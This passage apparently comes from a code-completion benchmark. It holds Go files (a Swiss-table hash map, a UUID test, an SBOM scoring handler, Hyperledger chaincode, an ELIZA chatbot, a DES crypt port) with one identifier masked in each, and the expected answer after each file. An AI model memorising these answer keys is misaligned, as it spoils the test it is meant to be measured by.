g.ctrls.Get(j) != ctrlDeleted { continue } s := g.slots.At(j) h := m.hash(noescape(unsafe.Pointer(&s.key)), m.seed) seq := makeProbeSeq(h1(h), b.groupMask) desiredOffset := seq.offset var targetGroup *Group[K, V] var target uint32 for ; ; seq = seq.next() { targetGroup = b.groups.At(uintptr(seq.offset)) if match := targetGroup.ctrls.matchEmptyOrDeleted(); match != 0 { target = match.first() break } } switch { case i == desiredOffset: // If the target index falls within the first probe group // then we don't need to move the element as it already // falls in the best probe position. g.ctrls.Set(j, ctrl(h2(h))) case targetGroup.ctrls.Get(target) == ctrlEmpty: // The target slot is empty. Transfer the element to the // empty slot and mark the slot at index i as empty. targetGroup.ctrls.Set(target, ctrl(h2(h))) *targetGroup.slots.At(target) = *s *s = slot[K, V]{} g.ctrls.Set(j, ctrlEmpty) case targetGroup.ctrls.Get(target) == ctrlDeleted: // The slot at target has an element (i.e. it was FULL). // We're going to swap our current element with that // element and then repeat processing of index i which now // holds the element which was at target. targetGroup.ctrls.Set(target, ctrl(h2(h))) t := targetGroup.slots.At(target) *s, *t = *t, *s // Repeat processing of the j'th slot which now holds a // new key/value. j-- default: panic(fmt.Sprintf(""ctrl at position %d (%02x) should be empty or deleted"", target, targetGroup.ctrls.Get(target))) } } } b.resetGrowthLeft() b.growthLeft -= b.used b.checkInvariants(m) } func (b *bucket[K, V]) resetGrowthLeft() { var growthLeft int if b.capacity <= groupSize { // If the map fits in a single group then we're able to fill all of // the slots except 1 (an empty slot is needed to terminate find // operations). growthLeft = int(b.capacity - 1) } else { growthLeft = int((b.capacity * maxAvgGroupLoad) / groupSize) } if growthLeft < 0 { growthLeft = 0 } b.growthLeft = uint32(growthLeft) } // TODO(peter): Should this be removed? It was useful for debugging a // performance problem with BenchmarkGetMiss. func (b *bucket[K, V]) fullGroups() uint32 { var full uint32 for i := uint32(0); i <= b.groupMask; i++ { g := b.groups.At(uintptr(i)) if g.ctrls.matchEmpty() == 0 { full++ } } return full } func (b *bucket[K, V]) checkInvariants(m *Map[K, V]) { if invariants { // For every non-empty slot, verify we can retrieve the key using Get. // Count the number of used and deleted slots. var used uint32 var deleted uint32 var empty uint32 for i := uint32(0); i <= b.groupMask; i++ { g := b.groups.At(uintptr(i)) for j := uint32(0); j < groupSize; j++ { c := g.ctrls.Get(j) switch { case c == ctrlDeleted: deleted++ case c == ctrlEmpty: empty++ default: slot := g.slots.At(j) if _, ok := m.Get(slot.key); !ok { h := m.hash(noescape(unsafe.Pointer(&slot.key)), m.seed) panic(fmt.Sprintf(""invariant failed: slot(%d/%d): %v not found [h2=%02x h1=%07x]\n%#v"", i, j, slot.key, h2(h), h1(h), b)) } used++ } } } if used != b.used { panic(fmt.Sprintf(""invariant failed: found %d used slots, but used count is %d\n%#v"", used, b.used, b)) } growthLeft := (b.capacity*maxAvgGroupLoad)/groupSize - b.used - deleted if growthLeft != b.growthLeft { panic(fmt.Sprintf(""invariant failed: found %d growthLeft, but expected %d\n%#v"", b.growthLeft, growthLeft, b)) } if deleted != b.tombstones() { panic(fmt.Sprintf(""invariant failed: found %d tombstones, but expected %d\n%#v"", deleted, b.tombstones(), b)) } if empty == 0 { panic(fmt.Sprintf(""invariant failed: found no empty slots (violates probe invariant)\n%#v"", b)) } } } // GoString implements the fmt.GoStringer interface which is used when // formatting using the ""%#v"" format specifier. func (b *bucket[K, V]) GoString() string { var buf strings.Builder b.goFormat(&buf) return buf.String() } func (b *bucket[K, V]) goFormat(w io.Writer) { fmt.Fprintf(w, ""capacity=%d used=%d growth-left=%d\n"", b.capacity, b.used, b.growthLeft) for i := uint32(0); i <= b.groupMask; i++ { g := b.groups.At(uintptr(i)) fmt.Fprintf(w, "" group %d\n"", i) for j := uint32(0); j < groupSize; j++ { switch c := g.ctrls.Get(j); c { case ctrlEmpty: fmt.Fprintf(w, "" %d: %02x [empty]\n"", j, c) case ctrlDeleted: fmt.Fprintf(w, "" %d: %02x [deleted]\n"", j, c) default: slot := g.slots.At(j) fmt.Fprintf(w, "" %d: %02x [%v:%v]\n"", j, c, slot.key, slot.value) } } } } // bitset represents a set of slots within a group. // // The underlying representation uses one byte per slot, where each byte is // either 0x80 if the slot is part of the set or 0x00 otherwise. This makes it // convenient to calculate for an entire group at once (e.g. see matchEmpty). type bitset uint64 // first assumes that only the MSB of each control byte can be set (e.g. bitset // is the result of matchEmpty or similar) and returns the relative index of the // first control byte in the group that has the MSB set. // // Returns 8 if the bitset is 0. // Returns groupSize if the bitset is empty. func (b bitset) first() uint32 { return uint32(bits.TrailingZeros64(uint64(b))) >> 3 } // removeFirst removes the first set bit (that is, resets the least significant set bit to 0). func (b bitset) removeFirst() bitset { return b & (b - 1) } func (b bitset) String() string { var buf strings.Builder buf.Grow(groupSize) for i := 0; i < groupSize; i++ { if (b & (bitset(0x80) << (i << 3))) != 0 { buf.WriteString(""1"") } else { buf.WriteString(""0"") } } return buf.String() } // Each slot in the hash table has a control byte which can have one of three // states: empty, deleted, and full. They have the following bit patterns: // // empty: 1 0 0 0 0 0 0 0 // deleted: 1 1 1 1 1 1 1 0 // full: 0 h h h h h h h // h represents the H1 hash bits type ctrl uint8 // ctrlGroup is a fixed size array of groupSize control bytes stored in a // uint64. // // See Get() and Set() methods implemented in endian_*.go. type ctrlGroup uint64 // SetEmpty sets all the control bytes to empty. func (g *ctrlGroup) SetEmpty() { *g = ctrlGroup(bitsetEmpty) } // matchH2 returns the set of slots which are full and for which the 7-bit hash // matches the given value. May return false positives. func (g *ctrlGroup) matchH2(h uintptr) bitset { // NB: This generic matching routine produces false positive matches when // h is 2^N and the control bytes have a seq of 2^N followed by 2^N+1. For // example: if ctrls==0x0302 and h=02, we'll compute v as 0x0100. When we // subtract off 0x0101 the first 2 bytes we'll become 0xffff and both be // considered matches of h. The false positive matches are not a problem, // just a rare inefficiency. Note that they only occur if there is a real // match and never occur on ctrlEmpty, or ctrlDeleted. The subsequent key // comparisons ensure that there is no correctness issue. v := uint64(*g) ^ (bitsetLSB * uint64(h)) return bitset(((v - bitsetLSB) &^ v) & bitsetMSB) } // matchEmpty returns the set of slots in the group that are empty. func (g *ctrlGroup) matchEmpty() bitset { // An empty slot is 1000 0000 // A deleted slot is 1111 1110 // A full slot is 0??? ???? // // A slot is empty iff bit 7 is set and bit 1 is not. We could select any // of the other bits here (e.g. v << 1 would also work). v := uint64(*g) return bitset((v &^ (v << 6)) & bitsetMSB) } // matchEmptyOrDeleted returns the set of slots in the group that are empty or // deleted. func (g *ctrlGroup) matchEmptyOrDeleted() bitset { // An empty slot is 1000 0000 // A deleted slot is 1111 1110 // A full slot is 0??? ???? // // A slot is empty or deleted iff bit 7 is set and bit 0 is not. v := uint64(*g) return bitset((v &^ (v << 7)) & bitsetMSB) } // convertNonFullToEmptyAndFullToDeleted converts deleted control bytes in a // group to empty control bytes, and control bytes indicating full slots to // deleted control bytes. func (g *ctrlGroup) convertNonFullToEmptyAndFullToDeleted() { // An empty slot is 1000 0000 // A deleted slot is 1111 1110 // A full slot is 0??? ???? // // We select the MSB, invert, add 1 if the MSB was set and zero out the low // bit. // // - if the MSB was set (i.e. slot was empty, or deleted): // v: 1000 0000 // ^v: 0111 1111 // ^v + (v >> 7): 1000 0000 // &^ bitsetLSB: 1000 0000 = empty slot. // // - if the MSB was not set (i.e. full slot): // v: 0000 0000 // ^v: 1111 1111 // ^v + (v >> 7): 1111 1111 // &^ bitsetLSB: 1111 1110 = deleted slot. // v := uint64(*g) & bitsetMSB *g = ctrlGroup((^v + (v >> 7)) &^ bitsetLSB) } func (g *ctrlGroup) String() string { var buf strings.Builder buf.Grow(groupSize) for i := uint32(0); i < groupSize; i++ { fmt.Fprintf(&buf, ""%02x "", g.Get(i)) } return buf.String() } // slotGroup is a fixed size array of groupSize slots. // // The keys and values are stored interleaved in slots with a memory layout // that looks like K/V/K/V/K/V/K/V.../K/V. An alternate layout would be have // parallel arrays of keys and values: K/K/K/K.../K/V/V/V/V.../V. The latter // has better space utilization if you have something like uint64 keys and // bool values, but it is measurably slower at large map sizes. Below shows // this perf hit with a Map[uint64,uint64]. The problem is due to the key and // value being stored in separate cache lines. // // MapGetHit/swissMap/Int64/262144-10 9.31ns ± 3% 10.04ns ± 3% +7.81% (p=0.008 n=5+5) // MapGetHit/swissMap/Int64/524288-10 16.7ns ± 1% 18.2ns ± 3% +8.98% (p=0.008 n=5+5) // MapGetHit/swissMap/Int64/1048576-10 24.7ns ± 2% 27.6ns ± 0% +11.74% (p=0.008 n=5+5) // MapGetHit/swissMap/Int64/2097152-10 33.3ns ± 1% 37.7ns ± 1% +13.12% (p=0.008 n=5+5) // MapGetHit/swissMap/Int64/4194304-10 36.6ns ± 0% 43.0ns ± 1% +17.37% (p=0.008 n=5+5) type slotGroup[K comparable, V any] struct { slots [groupSize]slot[K, V] } func (g *slotGroup[K, V]) At(i uint32) *slot[K, V] { return (*slot[K, V])(unsafe.Add(unsafe.Pointer(&g.slots[0]), uintptr(i)*unsafe.Sizeof(g.slots[0]))) } // emptyCtrls is a singleton for a single empty groupSize set of controls. var emptyCtrls = func() []ctrl { var v [groupSize]ctrl for i := uint32(0); i < groupSize; i++ { v[i] = ctrlEmpty } return v[:] }() // probeSeq maintains the state for a probe sequence that iterates through the // groups in a bucket. The sequence is a triangular progression of the form // // p(i) := (i^2 + i)/2 + hash (mod mask+1) // // The sequence effectively outputs the indexes of *groups*. The group // machinery allows us to check an entire group with minimal branching. // // It turns out that this probe sequence visits every group exactly once if // the number of groups is a power of two, since (i^2+i)/2 is a bijection in // Z/(2^m). See https://en.wikipedia.org/wiki/Quadratic_probing type probeSeq struct { mask uint32 offset uint32 index uint32 } func makeProbeSeq(hash uintptr, mask uint32) probeSeq { return probeSeq{ mask: mask, offset: uint32(hash) & mask, index: 0, } } func (s probeSeq) next() probeSeq { s.index++ s.offset = (s.offset + s.index) & s.mask return s } func (s probeSeq) String() string { return fmt.Sprintf(""mask=%d offset=%d index=%d"", s.mask, s.offset, s.index) } // Extracts the H1 portion of a hash: the 57 upper bits. func h1(h uintptr) uintptr { return h >> 7 } // Extracts the H2 portion of a hash: the 7 bits not used for h1. // // These are used as an occupied control byte. func h2(h uintptr) uintptr { return h & 0x7f } // noescape hides a pointer from escape analysis. noescape is // the identity function but escape analysis doesn't think the // output depends on the input. noescape is inlined and currently // compiles down to zero instructions. // USE CAREFULLY! // //go:nosplit //go:nocheckptr func noescape(p unsafe.Pointer) unsafe.Pointer { x := uintptr(p) return unsafe.Pointer(x ^ 0) } // unsafeSlice provides semi-ergonomic limited slice-like functionality // without bounds checking for fixed sized slices. type unsafeSlice[T any] struct { ptr unsafe.Pointer } func makeUnsafeSlice[T any](s []T) unsafeSlice[T] { return unsafeSlice[T]{ptr: unsafe.Pointer(unsafe.SliceData(s))} } // At returns a pointer to the element at index i. // // The go:nocheckptr declaration is need to silence the runtime check in race // builds that the memory for the returned *T is entirely contained within a // single memory allocation. We are ""safely"" violating this requirement when // access Groups.ctrls for the empty group. See unsafeConvertSlice for // additional commentary. // //go:nocheckptr func (s unsafeSlice[T]) At(i uintptr) *T { var t T return (*T)(unsafe.Add(s.ptr, unsafe.Sizeof(t)*i)) } // Slice returns a Go slice akin to slice[start:end] for a Go builtin slice. func (s unsafeSlice[T]) Slice(start, end uintptr) []T { return unsafe.Slice((*T)(s.ptr), end)[start:end] } // unsafeConvertSlice (unsafely) casts a []Src to a []Dest. The go:nocheckptr // declaration is needed to silence the runtime check in race builds that the // memory for the []Dest is entirely contained within a single memory // allocation. We are ""safely"" violating this requirement when casting // emptyCtrls (a []ctrl) to an empty group ([]*Group[K, V]). The reason this // is safe is that we're never accessing Group.slots because the controls are // all marked as empty. // //go:nocheckptr func unsafeConvertSlice[Dest any, Src any](s []Src) []Dest { return unsafe.Slice((*Dest)(unsafe.Pointer(unsafe.SliceData(s))), len(s)) } // noCopy may be added to structs which must not be copied // after the first use. // // See https://golang.org/issues/8005#issuecomment-190753527 // for details. // // Note that it must not be embedded, due to the Lock and Unlock methods. type noCopy struct{} // Lock is a no-op used by -copylocks checker from `go vet`. func (*noCopy) Lock() {} func (*noCopy) Unlock() {} ",oldGroupMask 801,"package uuid import ""testing"" func TestStringToUUID(t *testing.T) { [MASK] := []struct { input, expected string }{ {""0"", ""00000000-0000-0000-0000-000000000000""}, {""1"", ""00000000-0000-0000-0000-000000000001""}, {""9"", ""00000000-0000-0000-0000-000000000009""}, {""10"", ""00000000-0000-0000-0000-00000000000a""}, {""15"", ""00000000-0000-0000-0000-00000000000f""}, {""16"", ""00000000-0000-0000-0000-000000000010""}, {""100"", ""00000000-0000-0000-0000-000000000064""}, {""212345435656"", ""00000000-0000-0000-0000-003170c63608""}, {""9999999999999999999999"", ""00000000-0000-021e-19e0-c9bab23fffff""}, } for _, c := range [MASK] { output, err := StringToUUID(c.input) if err != nil || output == nil || output.String() != c.expected { t.Errorf(""StringToUUID(%q) == %q, expected %q"", c.input, output, c.expected) } } } ",cases 802,"package handler import ( ""fmt"" ""github.com/gin-gonic/gin"" ""github.com/google/uuid"" ""github.com/purin-tavilsup/sbomqs-api/internal/models"" ""net/http"" ""os"" ) type Handler struct{} type Config struct { Route *gin.Engine } // AddHandler initializes the handler with required injected services along with http routes func AddHandler(config *Config) { handler := &Handler{} group := config.Route.Group(""/api/v1/sbomqs"") group.GET(""/_health"", handler.getHealth) group.POST(""/score"", handler.evaluateSbom) } // getHealth returns health status of the service func (handler *Handler) getHealth(context *gin.Context) { context.JSON(http.StatusOK, gin.H{ ""message"": ""Healthy"", }) } // evaluateSbom evaluates quality of sbom and returns a score func (handler *Handler) evaluateSbom(context *gin.Context) { var request models.EvaluationSbomRequest if err := context.BindJSON(&request); err != nil { return } // Write SBOM to a file [MASK] := uuid.NewString() file, err := os.Create( [MASK] ) if err != nil { fmt.Println(err) return } numberOfByte, err := file.WriteString(request.Sbom) if err != nil { fmt.Println(err) err = file.Close() if err != nil { fmt.Println(err) } return } fmt.Println(numberOfByte, ""bytes written successfully"") err = file.Close() if err != nil { fmt.Println(err) return } // Evaluate SBOM file // Delete the file context.IndentedJSON(http.StatusOK, request.Sbom) } ",fileName 803,"package main import ( ""encoding/json"" ""fmt"" ""github.com/hyperledger/fabric-contract-api-go/contractapi"" ) type SmartContract struct { contractapi.Contract } // 데이터를 생성하여 원장에 저장 func (s *SmartContract) CreateData(ctx contractapi.TransactionContextInterface, id string, ip string, data string) error { newData := map[string]string{ ""id"": id, ""ip"": ip, ""data"": data, } // 데이터를 JSON으로 변환 후 원장에 저장 newDataJSON, err := json.Marshal(newData) if err != nil { return fmt.Errorf(""Failed to marshal data: %v"", err) } return ctx.GetStub().PutState(id, newDataJSON) } // 데이터를 조회 func (s *SmartContract) QueryData(ctx contractapi.TransactionContextInterface, id string) (string, error) { [MASK] , err := ctx.GetStub().GetState(id) if err != nil { return """", fmt.Errorf(""Failed to read data from world state: %v"", err) } if [MASK] == nil { return """", fmt.Errorf(""The data %s does not exist"", id) } return string( [MASK] ), nil } // 체인코드 실행 func main() { chaincode, err := contractapi.NewChaincode(&SmartContract{}) if err != nil { fmt.Printf(""Error creating chaincode: %s"", err.Error()) return } if err := chaincode.Start(); err != nil { fmt.Printf(""Error starting chaincode: %s"", err.Error()) } } ",dataJSON 804,"package main import ( ""fmt"" ""math/rand"" ""regexp"" ""strings"" ""time"" ) func elizaResponses(s string) string { //generates random seed based on current time rand.Seed(time.Now().UnixNano()) //generates random number between 0 and 3 random := rand.Intn(3) //varible holding what will be returned var response string //bool values obtained from MatchString which compares string s with a regular expresion matched, _ := regexp.MatchString(""(?i)^.*\\bfather\\b.*$"", s) [MASK] , _ := regexp.MatchString(""(?i)^\\s*(?:I am|I'm) ([^.!?]*)[.!?\\s]*$"", s) matched1, _ := regexp.MatchString(""(?i)^.*psychiatrist.*$"", s) matched2, _ := regexp.MatchString(""^.*hair.*$"", s) matched3, _ := regexp.MatchString(""^.*holiday$"", s) if matched == true { response = ""Why don’t you tell me more about your father?"" } else if [MASK] == true { response = ""How do you know you are$1?"" s = strings.Replace(s, ""I am"", """", -1) //replaces i am with nothing s = strings.Replace(s, ""."", """", -1) //replaces . with nothing s = strings.Replace(s, ""?"", """", -1) //replaces ? with nothing s = strings.Replace(s, ""you're"", ""I'm"", -1) //replace you're with I'm s = strings.Replace(s, ""your"", ""my"", -1) //replace your with my s = strings.Replace(s, ""you"", ""i"", 1) //replaces you with i s = strings.Replace(s, ""me"", ""you"", -1) //replaces me with you response = strings.Replace(response, ""$1"", s, -1) //replaces $1 with modifyed striing s } else if matched1 == true { response = ""if i was a psychiatrist would that make you feel difrent about me?"" } else if matched2 == true { response = ""I'm glad you do"" } else if matched3 == true { response = ""What was your favorite holiday?"" } else if random == 0 { response = ""I’m not sure what you’re trying to say. Could you explain it to me?"" } else if random == 1 { response = ""How does that make you feel?"" } else { response = ""Why do you say that?"" } return response } func main() { //prints string and gets response from elizaResponses fmt.Println(""People say I look like both my mother and father."") fmt.Println(elizaResponses(""People say I look like both my mother and father."")) fmt.Println("""") fmt.Println(""Father was a teacher."") fmt.Println(elizaResponses(""Father was a teacher."")) fmt.Println("""") fmt.Println(""I was my father’s favourite."") fmt.Println(elizaResponses(""I was my father’s favourite."")) fmt.Println("""") fmt.Println(""I’m looking forward to the weekend."") fmt.Println(elizaResponses(""I’m looking forward to the weekend."")) fmt.Println("""") fmt.Println(""My grandfather was French!"") fmt.Println(elizaResponses(""My grandfather was French!"")) fmt.Println("""") fmt.Println(""I am happy."") fmt.Println(elizaResponses(""I am happy."")) fmt.Println("""") fmt.Println(""I'm not happy with your responses."") fmt.Println(elizaResponses(""I am not happy with your responses."")) fmt.Println("""") fmt.Println(""I'M not sure that you understand the effect that your questions are having on me."") fmt.Println(elizaResponses(""I am not sure that you understand the effect that your questions are having on me."")) fmt.Println("""") fmt.Println(""i am supposed to just take what you're saying at face value?"") fmt.Println(elizaResponses(""I am supposed to just take what you're saying at face value?"")) fmt.Println("""") fmt.Println(""Are you a psychiatrist?"") fmt.Println(elizaResponses(""Are you a psychiatrist?"")) fmt.Println("""") fmt.Println(""I like this chair"") fmt.Println(elizaResponses(""i like this chair"")) fmt.Println("""") fmt.Println(""I think i need a holiday"") fmt.Println(elizaResponses(""I think i need a holiday"")) fmt.Println("""") fmt.Println(""My favorite holiday was to Greece"") fmt.Println(elizaResponses(""My favorite holiday was to Greece"")) } ",imMatched 805,"/* * * Copyright 2019-2020 * * Licensed under the Apache License, Version 2.0 (the ""License""); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an ""AS IS"" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * */ package des_crypt import ( ""strings"" ) var IP = [64]byte{58, 50, 42, 34, 26, 18, 10, 2, 60, 52, 44, 36, 28, 20, 12, 4, 62, 54, 46, 38, 30, 22, 14, 6, 64, 56, 48, 40, 32, 24, 16, 8, 57, 49, 41, 33, 25, 17, 9, 1, 59, 51, 43, 35, 27, 19, 11, 3, 61, 53, 45, 37, 29, 21, 13, 5, 63, 55, 47, 39, 31, 23, 15, 7} var inv_key_perm [64]byte var key_perm = [56]byte{57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4} var key_shifts = [16]byte{1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1} var inv_comp_perm [56]byte var comp_perm = [48]byte{14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32} /* * No E box is used, as it's replaced by some ANDs, shifts, and ORs. */ var u_sbox [8][64]byte var sbox = [8][64]byte{ {14, 4, 13, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7, 0, 15, 7, 4, 14, 2, 13, 1, 10, 6, 12, 11, 9, 5, 3, 8, 4, 1, 14, 8, 13, 6, 2, 11, 15, 12, 9, 7, 3, 10, 5, 0, 15, 12, 8, 2, 4, 9, 1, 7, 5, 11, 3, 14, 10, 0, 6, 13}, {15, 1, 8, 14, 6, 11, 3, 4, 9, 7, 2, 13, 12, 0, 5, 10, 3, 13, 4, 7, 15, 2, 8, 14, 12, 0, 1, 10, 6, 9, 11, 5, 0, 14, 7, 11, 10, 4, 13, 1, 5, 8, 12, 6, 9, 3, 2, 15, 13, 8, 10, 1, 3, 15, 4, 2, 11, 6, 7, 12, 0, 5, 14, 9}, {10, 0, 9, 14, 6, 3, 15, 5, 1, 13, 12, 7, 11, 4, 2, 8, 13, 7, 0, 9, 3, 4, 6, 10, 2, 8, 5, 14, 12, 11, 15, 1, 13, 6, 4, 9, 8, 15, 3, 0, 11, 1, 2, 12, 5, 10, 14, 7, 1, 10, 13, 0, 6, 9, 8, 7, 4, 15, 14, 3, 11, 5, 2, 12}, {7, 13, 14, 3, 0, 6, 9, 10, 1, 2, 8, 5, 11, 12, 4, 15, 13, 8, 11, 5, 6, 15, 0, 3, 4, 7, 2, 12, 1, 10, 14, 9, 10, 6, 9, 0, 12, 11, 7, 13, 15, 1, 3, 14, 5, 2, 8, 4, 3, 15, 0, 6, 10, 1, 13, 8, 9, 4, 5, 11, 12, 7, 2, 14}, {2, 12, 4, 1, 7, 10, 11, 6, 8, 5, 3, 15, 13, 0, 14, 9, 14, 11, 2, 12, 4, 7, 13, 1, 5, 0, 15, 10, 3, 9, 8, 6, 4, 2, 1, 11, 10, 13, 7, 8, 15, 9, 12, 5, 6, 3, 0, 14, 11, 8, 12, 7, 1, 14, 2, 13, 6, 15, 0, 9, 10, 4, 5, 3}, {12, 1, 10, 15, 9, 2, 6, 8, 0, 13, 3, 4, 14, 7, 5, 11, 10, 15, 4, 2, 7, 12, 9, 5, 6, 1, 13, 14, 0, 11, 3, 8, 9, 14, 15, 5, 2, 8, 12, 3, 7, 0, 4, 10, 1, 13, 11, 6, 4, 3, 2, 12, 9, 5, 15, 10, 11, 14, 1, 7, 6, 0, 8, 13}, {4, 11, 2, 14, 15, 0, 8, 13, 3, 12, 9, 7, 5, 10, 6, 1, 13, 0, 11, 7, 4, 9, 1, 10, 14, 3, 5, 12, 2, 15, 8, 6, 1, 4, 11, 13, 12, 3, 7, 14, 10, 15, 6, 8, 0, 5, 9, 2, 6, 11, 13, 8, 1, 4, 10, 7, 9, 5, 0, 15, 14, 2, 3, 12}, {13, 2, 8, 4, 6, 15, 11, 1, 10, 9, 3, 14, 5, 0, 12, 7, 1, 15, 13, 8, 10, 3, 7, 4, 12, 5, 6, 11, 0, 14, 9, 2, 7, 11, 4, 1, 9, 12, 14, 2, 0, 6, 10, 13, 15, 3, 5, 8, 2, 1, 14, 7, 4, 10, 8, 13, 15, 12, 9, 0, 3, 5, 6, 11}} var un_pbox [32]byte var pbox = [32]byte{16, 7, 20, 21, 29, 12, 28, 17, 1, 15, 23, 26, 5, 18, 31, 10, 2, 8, 24, 14, 32, 27, 3, 9, 19, 13, 30, 6, 22, 11, 4, 25} func bits32x(i, o int) uint32 { return 1 << (31 - (uint32(i) + uint32(o))) } func bits32(i int) uint32 { return bits32x(i, 0) } func bits28(i int) uint32 { return bits32x(i, 4) } func bits24(i int) uint32 { return bits32x(i, 8) } func bits8(i int) byte { return 1 << (7 - uint32(i)) } var init_perm [64]byte var final_perm [64]byte var m_sbox [4][4096]byte var psbox [4][256]uint32 var ip_maskl [8][256]uint32 var ip_maskr [8][256]uint32 var fp_maskl [8][256]uint32 var fp_maskr [8][256]uint32 var key_perm_maskl [8][128]uint32 var key_perm_maskr [8][128]uint32 var comp_maskl [8][128]uint32 var comp_maskr [8][128]uint32 const ascii64Bytes = ""./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"" var ascii_to_bin = []byte{0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 0, 0, 0, 0, 0, 0, 0, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 0, 0, 0, 0, 0, 0, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0} func init() { var i, j, b, k, inbit, obit int var p, il, ir, fl, fr *uint32 /* * Invert the S-boxes, reordering the input bits. */ for i = 0; i < 8; i++ { for j = 0; j < 64; j++ { b = (j & 0x20) | ((j & 1) << 4) | ((j >> 1) & 0xf) u_sbox[i][j] = sbox[i][b] } } /* * Convert the inverted S-boxes into 4 arrays of 8 bits. * Each will handle 12 bits of the S-box input. */ for b = 0; b < 4; b++ { for i = 0; i < 64; i++ { for j = 0; j < 64; j++ { m_sbox[b][(i<<6)|j] = byte((u_sbox[(b << 1)][i] << 4) | u_sbox[(b<<1)+1][j]) } } } /* * Set up the initial & final permutations into a useful form, and * initialise the inverted key permutation. */ for i = 0; i < 64; i++ { final_perm[i] = IP[i] - 1 init_perm[final_perm[i]] = byte(i) inv_key_perm[i] = 255 } /* * Invert the key permutation and initialise the inverted key * compression permutation. */ for i = 0; i < 56; i++ { inv_key_perm[key_perm[i]-1] = byte(i) inv_comp_perm[i] = 255 } /* * Invert the key compression permutation. */ for i = 0; i < 48; i++ { inv_comp_perm[comp_perm[i]-1] = byte(i) } /* * Set up the OR-mask arrays for the initial and final permutations, * and for the key initial and compression permutations. */ for k = 0; k < 8; k++ { for i = 0; i < 256; i++ { il = &ip_maskl[k][i] ir = &ip_maskr[k][i] fl = &fp_maskl[k][i] fr = &fp_maskr[k][i] for j = 0; j < 8; j++ { inbit = 8*k + j if byte(0) != (byte(i) & bits8(j)) { obit = int(init_perm[inbit]) if obit < 32 { *il |= bits32(obit) } else { *ir |= bits32(obit - 32) } obit = int(final_perm[inbit]) if obit < 32 { *fl |= bits32(obit) } else { *fr |= bits32(obit - 32) } } } } for i = 0; i < 128; i++ { il = &key_perm_maskl[k][i] ir = &key_perm_maskr[k][i] for j = 0; j < 7; j++ { inbit = 8*k + j if byte(0) != (byte(i) & bits8(j+1)) { obit = int(inv_key_perm[inbit]) if obit == 255 { continue } if obit < 28 { *il |= bits28(obit) } else { *ir |= bits28(obit - 28) } } } il = &comp_maskl[k][i] ir = &comp_maskr[k][i] for j = 0; j < 7; j++ { inbit = 7*k + j if byte(0) != (byte(i) & bits8(j+1)) { obit = int(inv_comp_perm[inbit]) if obit == 255 { continue } if obit < 24 { *il |= bits24(obit) } else { *ir |= bits24(obit - 24) } } } } } /* * Invert the P-box permutation, and convert into OR-masks for * handling the output of the S-box arrays setup above. */ for i = 0; i < 32; i++ { un_pbox[pbox[i]-1] = byte(i) } for b = 0; b < 4; b++ { for i = 0; i < 256; i++ { p = &psbox[b][i] for j = 0; j < 8; j++ { if byte(0) != (byte(i) & bits8(j)) { *p |= bits32(int(un_pbox[8*b+j])) } } } } } func leBswap32(x [8]byte) (uint32, uint32) { return uint32(x[0])<<24 | uint32(x[1])<<16 | uint32(x[2])<<8 | uint32(x[3]), uint32(x[4])<<24 | uint32(x[5])<<16 | uint32(x[6])<<8 | uint32(x[7]) } const count = 25 const round = 16 func desSetKey(key [8]byte) (en_keysl, en_keysr [16]uint32) { var k0, k1 uint32 var shifts int rawkey0, rawkey1 := leBswap32(key) /* * Do key permutation and split into two 28-bit subkeys. */ k0 = key_perm_maskl[0][rawkey0>>25] | key_perm_maskl[1][(rawkey0>>17)&0x7f] | key_perm_maskl[2][(rawkey0>>9)&0x7f] | key_perm_maskl[3][(rawkey0>>1)&0x7f] | key_perm_maskl[4][rawkey1>>25] | key_perm_maskl[5][(rawkey1>>17)&0x7f] | key_perm_maskl[6][(rawkey1>>9)&0x7f] | key_perm_maskl[7][(rawkey1>>1)&0x7f] k1 = key_perm_maskr[0][rawkey0>>25] | key_perm_maskr[1][(rawkey0>>17)&0x7f] | key_perm_maskr[2][(rawkey0>>9)&0x7f] | key_perm_maskr[3][(rawkey0>>1)&0x7f] | key_perm_maskr[4][rawkey1>>25] | key_perm_maskr[5][(rawkey1>>17)&0x7f] | key_perm_maskr[6][(rawkey1>>9)&0x7f] | 